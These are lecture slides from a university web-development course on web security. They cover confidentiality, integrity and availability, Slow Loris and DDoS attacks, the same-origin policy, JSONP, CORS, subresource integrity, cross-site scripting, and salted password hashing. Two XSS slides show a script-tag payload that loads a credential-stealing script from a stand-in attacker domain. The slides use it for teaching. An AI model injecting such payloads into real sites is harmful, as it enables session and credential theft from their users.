CS/COE 1520 pitt.edu/~ach54/cs1520 Web security
Security basics: CIA ● Confidentiality ○ Keeping information secret from those who should not be able to see it ● Integrity ○ Two portions: ■ Data integrity: has the content of the data been modified? ■ Origin integrity: can you verify the source of the data? ● Availability ○ Can you access the information? ○ Denial of service attacks attack availability 2
Policy and mechanism ● Policy defines what actions are allowed in the system ● Mechanism is a way to enforce policy 3
Threats ● A threat is a potential security violation ○ Threat modelling is the process of identifying threats in your system that you will aim to protect against ○ Generally, you can call the entity that you will protect against an adversary 4
Our system model Request Response 5
Our toolbox ● Symmetric ciphers ○ A secret key is used to encrypt messages ○ Anyone who knows the secret can read the message ○ E.g., AES ● Public-key cryptography ○ Anyone can encrypt a message such that only Bob can read it ○ E.g., RSA ● Digital signatures ○ Anyone can verify that Bob sent a message ○ E.g., RSA ● Cryptographic hash functions ○ Should be collision-resistant (among other properties…) ○ E.g., SHA-256 6
What about availability? ● Example DoS attack: Slow Loris ○ Send partial request to server ○ Just before timeout, send more of a partial request ○ Never complete a request ○ Exhaust server resources to handle new requests ● Modern DoS: ○ DDoS: Distributed Denial of Service ○ Have thousands of machines send requests to the server to exhaust its resources to handle new requests ■ Botnets have historically been used to execute such attacks 7
Web-specific security: the Same-origin policy ● Scripts from one web page can only access data from another webpage if they share the same origin ○ E.g., ■ script from example_a.com/one can access: ● Data from example_a.com/two ● Data from example_a.com/dir/three ■ It should not access: ● Data from example_b.com/two ● Data from ex_a.example_a.com/two ● Data from www.example_a.com/two 8
Motivating example BANK OTHER 9
Getting data from other origins: JSONP ● JSON with padding ● To get JSON representation of resource ex_b.com/r1 from ex_a.com ○ Can't use AJAX ■ Violates same-origin policy on scripts ○ Use the <script> tag and some clever h4x: ■ <script "application/javascript" src="ex_b.com/r1"> </script> ○ Except, ex_b.com/r1 will return JSON, not JS… ■ E.g., {"type": "resource", "name": "r1"} ○ So set source as follows: ■ "ex_b.com/r1?callback=parseResponse" ● Reponse now: ● parseResponse({"type": "resource", "name": "r1"}) ○ Now this is JS! ■ Issues with this approach? 10
Getting data from other origins: CORS ● Cross-origin resource sharing 11
Subresource Integrity ● Allows a browser to verify that the resources they fetch are not modified ● Use the integrity attribute on the script and link elements set to a hash of the resource ○ <script src="https://code.jquery.com/jquery-3.4.1.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFT UBLTYOVvVU=" crossorigin="anonymous"></script> ● If the hash doesn’t match, the browser will not process the fetched resource 12
Cross-site scripting attacks ● Persistent attack example: ○ Consider the comments section of an article on news.example.com ○ Mallory notices that she can add HTML to her comments to change how they are displayed ■ E.g., adding <em></em> will render parts of her comments at emphasized for readers of the article ○ What happens when Mallory posts the following comment: ■ I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js"> 13
Cross-site scripting attacks: reflected attack ● Mallory notices that when she searches example.com for "puppies", the following happens: ○ She taken to the page example.com/?q=puppies ○ She is show a page that simply says "puppies not found!" ● What could happen if Mallory searches for: <script src="http://mallorysevilsite.com/authstealer.js"> </script>? 14
Site design: Error handling ● Consider login controller from minitwit ● Try to view a private GitHub repo in incognito mode 15
Data storage: Passwords ● You (as a server operator) should not know a user's password ○ Why? ○ So how can they log in? ■ Store hashes of the password! ○ If you ever click "forgot password" on a site, and they email you back your password, don't trust that site! 16
Hashed password login ● Where should the password be hashed? ○ I.e., where should SHA256(user_pass) be run? ■ On the server side? ● E.g., in Python ■ On the client side in JS? 17
Needs just one more thing ● A bit of salt ○ For every user, generate a random number ■ Using a cryptographically secure random number generator! ■ This is the salt ○ Generate hashes for that user as the supplied password concatenated with the salt ■ Why? 18
A note about all of this NEVER IMPLEMENT YOUR OWN CRYPTO Use a trusted and tested library. For password storage, use bcrypt
Recommend
More recommend
